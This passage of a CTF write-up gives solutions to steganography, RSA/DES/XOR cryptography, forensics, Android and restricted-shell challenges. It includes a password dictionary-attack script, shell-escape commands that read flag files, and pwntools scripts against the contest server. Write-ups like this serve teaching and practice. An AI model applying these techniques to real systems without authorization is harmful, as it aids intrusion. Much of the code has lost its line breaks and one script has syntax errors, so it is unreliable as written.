```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
